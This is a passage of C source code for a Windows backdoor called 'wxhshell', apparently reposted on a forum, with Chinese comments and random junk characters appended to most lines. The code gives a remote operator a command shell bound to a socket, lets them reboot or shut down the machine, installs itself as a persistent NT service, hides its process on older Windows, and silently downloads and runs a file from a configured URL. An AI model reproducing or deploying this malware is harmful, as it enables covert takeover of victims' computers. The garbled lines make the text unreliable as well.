  ebiOR1)sN  
  // 帮助 R6`,}<A]@  
  case '?': { ;<H\{w@D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ki ?ETC  
    break; 9+!"[  
  } u}|+p+  
  // 安装 {-l:F2i  
  case 'i': { 3M"eAK([  
    if(Install()) W3A9uk6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &Fh#otH_  
    else >JHQA1mX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )\+1*R|H}  
    break; "H|hN  
    } lNx:_g:SrZ  
  // 卸载 *n_7~ZX  
  case 'r': { J0 UF(  
    if(Uninstall()) O^r,H,3S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j[|mC;y.  
    else ~m&q@ms&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }{F1Cr   
    break; 7gQ 2dp  
    } #\&64  
  // 显示 wxhshell 所在路径 2}6StmE }  
  case 'p': { ^q\9HBHT  
    char svExeFile[MAX_PATH]; K?6#jT6#  
    strcpy(svExeFile,"\n\r"); .9!?vz]1  
      strcat(svExeFile,ExeFile); S?u@3PyJm  
        send(wsh,svExeFile,strlen(svExeFile),0); 9uW\~DwsZ%  
    break; mI,!8#  
    } :xZ^Jq91  
  // 重启 Rv|X\Wm  
  case 'b': { [4b_`L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -5GRit1q?  
    if(Boot(REBOOT)) 7;SI=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vJsx_ i\i  
    else { a H *5(E]  
    closesocket(wsh); 1? Im"  
    ExitThread(0); <CN+VXF  
    } - aQf( =  
    break; Lz=GA?lk[\  
    } )<vuv9=k\%  
  // 关机 li&&[=6A  
  case 'd': { )BmO[AiOM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p* tAwl  
    if(Boot(SHUTDOWN)) 6MmkEU z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iJ p E`  
    else { L~HL*~#d  
    closesocket(wsh); a1g aB:w5n  
    ExitThread(0); ,XYtoZa  
    } 2!";?E  
    break; !T~C=,;  
    } KVp3 pUO  
  // 获取shell Iz9b5  
  case 's': { E&>=  
    CmdShell(wsh); W*9*^  
    closesocket(wsh); >=d%t6 %(  
    ExitThread(0); *d&+? !  
    break; 8}{W.np_  
  } "w:?WS  
  // 退出 !c;BOCqa  
  case 'x': { M1J77LfS8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a$]i8AeG  
    CloseIt(wsh); jn+BH3e  
    break; Bb*P);#.K  
    } -}9>#<v  
  // 离开 ~ }?*v}  
  case 'q': { X^)v ZL?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qORRpWyx&  
    closesocket(wsh); Kd;)E 9Ti  
    WSACleanup(); ^'Qe.DW[  
    exit(1); 52q<|MW%  
    break; D0LoT?$N  
        } tlcNGPa  
  } 5'S~PQka*  
  } {!NX u  
[6f(3|"  
  // 提示信息 {R}Kt;L:Ut  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E[2xo/H  
} l G $s(  
  } #SqU>R  
 _!E)a  
  return; /Bp5^(s  
} ^e(*{K;8  
5?XIp6%x  
// shell模块句柄 o>Q=V 0?  
int CmdShell(SOCKET sock) OtZc;c  
{ ;ji[ "b  
STARTUPINFO si; PiF&0;  
ZeroMemory(&si,sizeof(si)); agj_l}=gO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MhZ\]CAs9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d#-'DO{k  
PROCESS_INFORMATION ProcessInfo; rVv4R/3+   
char cmdline[]="cmd"; maVfLVx-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3h`_Qv%g  
  return 0; Jo4iWJpK  
} \7] SG  
H1-eMDe  
// 自身启动模式 ")D5ulb\  
int StartFromService(void) BTDUT%Yfg  
{ vY!'@W  
typedef struct FS7@6I2Ts  
{ oP_}C[  
  DWORD ExitStatus; 1)hO!%  
  DWORD PebBaseAddress; tPaNhm[-q7  
  DWORD AffinityMask; =_Ip0FfK!  
  DWORD BasePriority; ayr CLv  
  ULONG UniqueProcessId; 1`)e}p&  
  ULONG InheritedFromUniqueProcessId; +{au$v}  
}   PROCESS_BASIC_INFORMATION; I8Q!`K J  
o e,yCdPs  
PROCNTQSIP NtQueryInformationProcess; Xhp={p;  
 &sg~owz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _ls i,kg?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Cnv?0to2l  
x@? YS  
  HANDLE             hProcess; 5DmW5w'p  
  PROCESS_BASIC_INFORMATION pbi; {3eg4j.Z  
fzZ`O{$8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !z2KQ 4C  
  if(NULL == hInst ) return 0; X{ f#kB]w  
L&hv:+3N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AYGe`{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Mq52B_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cjwc:3 CM  
,racmxnv  
  if (!NtQueryInformationProcess) return 0; kV:T2}]|H  
UZx8ozv'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  P@FE3g  
  if(!hProcess) return 0; !yD$fY  
tA{h x -  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x*! %o(G  
OQiyAyX  
  CloseHandle(hProcess); DdCNCXU  
)Y:C'*.r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .qS(-7<  
if(hProcess==NULL) return 0; 8 DPn5E#M1  
HwZ"l31  
HMODULE hMod; @7`=0;g  
char procName[255]; 1"f)\FPGe  
unsigned long cbNeeded; Q/`W[Et  
V,&A? Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qh#?a'  
RX?y}BDo0  
  CloseHandle(hProcess); G_S2Q @|Q  
OBL2W\{  
if(strstr(procName,"services")) return 1; // 以服务启动 < Wm'V-  
*;[g Ga~  
  return 0; // 注册表启动 (O"-6`w[  
} ^NXxMC( e+  
]h%~'8g,  
// 主模块 *AJYSa,z  
int StartWxhshell(LPSTR lpCmdLine) ]XEUD1N;I  
{ 2:G/Oj h&]  
  SOCKET wsl; X.eocy  
BOOL val=TRUE; ?,w9e|  
  int port=0;  }~Ir &   
  struct sockaddr_in door; 97vQM  
/a }` y  
  if(wscfg.ws_autoins) Install(); K)W:@,*  
ZKt`>KZ  
port=atoi(lpCmdLine); !OV+=Rwdx  
:gTtWJ04]  
if(port<=0) port=wscfg.ws_port; `X%Qt ~  
@t2S"s$m  
  WSADATA data; _K3;$2d|R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GTke<R  
ou=33}uO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5Kl;(0B9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sB wzb  
  door.sin_family = AF_INET; .4[M7)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D[dI_|59a  
  door.sin_port = htons(port); [F+*e=wjN>  
o^W.53yX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,j(S'Pw  
closesocket(wsl); IlZ$Jd  
return 1; YI?tmqzt  
} \.YJs"<3  
oAgU rl;R  
  if(listen(wsl,2) == INVALID_SOCKET) { /YHnt-}v,  
closesocket(wsl); q9(Z9$a(\  
return 1; BHt9$$Z|  
} @#"6_{!j_X  
  Wxhshell(wsl); 8*^*iEsR  
  WSACleanup(); LoW}!,|  
<Aqo[']  
return 0; AI]lG]q8  
B/I1<%Yk  
} v.F|8 cG  
kL"Y>@H  
// 以NT服务方式启动 %R  P\,|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dy4~~~^A  
{ ^00C"58A  
DWORD   status = 0; =>L2~>[  
  DWORD   specificError = 0xfffffff; vngn^2  
Y%^qt]u.8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \m#{ {SGm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 28>/#I9/]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GHpP *x  
  serviceStatus.dwWin32ExitCode     = 0; 6|QIzs<Z-X  
  serviceStatus.dwServiceSpecificExitCode = 0; AbIYdFXB  
  serviceStatus.dwCheckPoint       = 0; MB+a?u0\  
  serviceStatus.dwWaitHint       = 0; $:D\yZ,  
V^< Zs//7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pYh\l.@qf  
  if (hServiceStatusHandle==0) return; yM*_"z!L  
_8e0vi!~2  
status = GetLastError(); GYtp%<<9;  
  if (status!=NO_ERROR) ] QJ7q}  
{ 84/#,X!=s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l:*.0Tj  
    serviceStatus.dwCheckPoint       = 0; =g$%jM>35  
    serviceStatus.dwWaitHint       = 0; cToT_Mk  
    serviceStatus.dwWin32ExitCode     = status; ^bECX<,H  
    serviceStatus.dwServiceSpecificExitCode = specificError; iN1_ T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uQg&]bSv  
    return; "Ug+# ;}p$  
  } 7MIrrhk  
+iw4>0pi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o,'Fz?[T%  
  serviceStatus.dwCheckPoint       = 0;  CP Ju=  
  serviceStatus.dwWaitHint       = 0; Va^(cnwa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yC7lR#N8j0  
} u5tUm  
nnCz!:9p  
// 处理NT服务事件,比如:启动、停止 $V;0z~&!'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _Zus4&'  
{ P?J\p J1|7  
switch(fdwControl) ')ZZ)&U>z  
{ =m 6<H  
case SERVICE_CONTROL_STOP: (#nB90E{*  
  serviceStatus.dwWin32ExitCode = 0; `!<#'PR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nZ[`Yrq)0  
  serviceStatus.dwCheckPoint   = 0; 4xgfm.9I^  
  serviceStatus.dwWaitHint     = 0; vw :&c.zd  
  { ^G NL:D%6d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 36}&{A  
  } V0xO:7G^  
  return; EAoq2_(`a  
case SERVICE_CONTROL_PAUSE: j:U6q,f]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =nv/ r  
  break; { T?1v*.[  
case SERVICE_CONTROL_CONTINUE: 8zQN[[#n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o@ @|4 F  
  break; ^M+aQg%  
case SERVICE_CONTROL_INTERROGATE: 0P;\ :-&p  
  break; )B"E+Q'h{7  
}; t c{Qd&"(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ut.tf \c  
} mp8Zb&Ggb  
=oTj3+7  
// 标准应用程序主函数 fDAT#nlyp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6ipQx/IQ  
{ ~-'-<-  
gSkY c{b  
// 获取操作系统版本 wI?AZd;`'  
OsIsNt=GetOsVer(); :VE0eJ]J6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); );{76  
%$=2tfR  
  // 从命令行安装 fni7HBV?  
  if(strpbrk(lpCmdLine,"iI")) Install(); szp.\CMz  
sU/vXweky"  
  // 下载执行文件 NMESGNa)z  
if(wscfg.ws_downexe) { `o21f{1]X&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pW_mS|  
  WinExec(wscfg.ws_filenam,SW_HIDE); S2EV[K8#  
} o0TB>DX$`  
;WG%)^e  
if(!OsIsNt) { Rg3g:TV9c  
// 如果时win9x,隐藏进程并且设置为注册表启动 ynJ)6n7a  
HideProc(); 9[h8Dy  
StartWxhshell(lpCmdLine); 6uxF<  
} s1p<F,  
else n>xuef   
  if(StartFromService()) iB+ _+A  
  // 以服务方式启动 @>+`1C  
  StartServiceCtrlDispatcher(DispatchTable); 5m\)82s  
else 5>h/LE]"  
  // 普通方式启动 =.qPjp_Qd  
  StartWxhshell(lpCmdLine); !\\OMAf7  
,_ @) IN  
return 0; ld#YXJ;P.k  
}
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只看该作者 1 发表于: 2006-10-10
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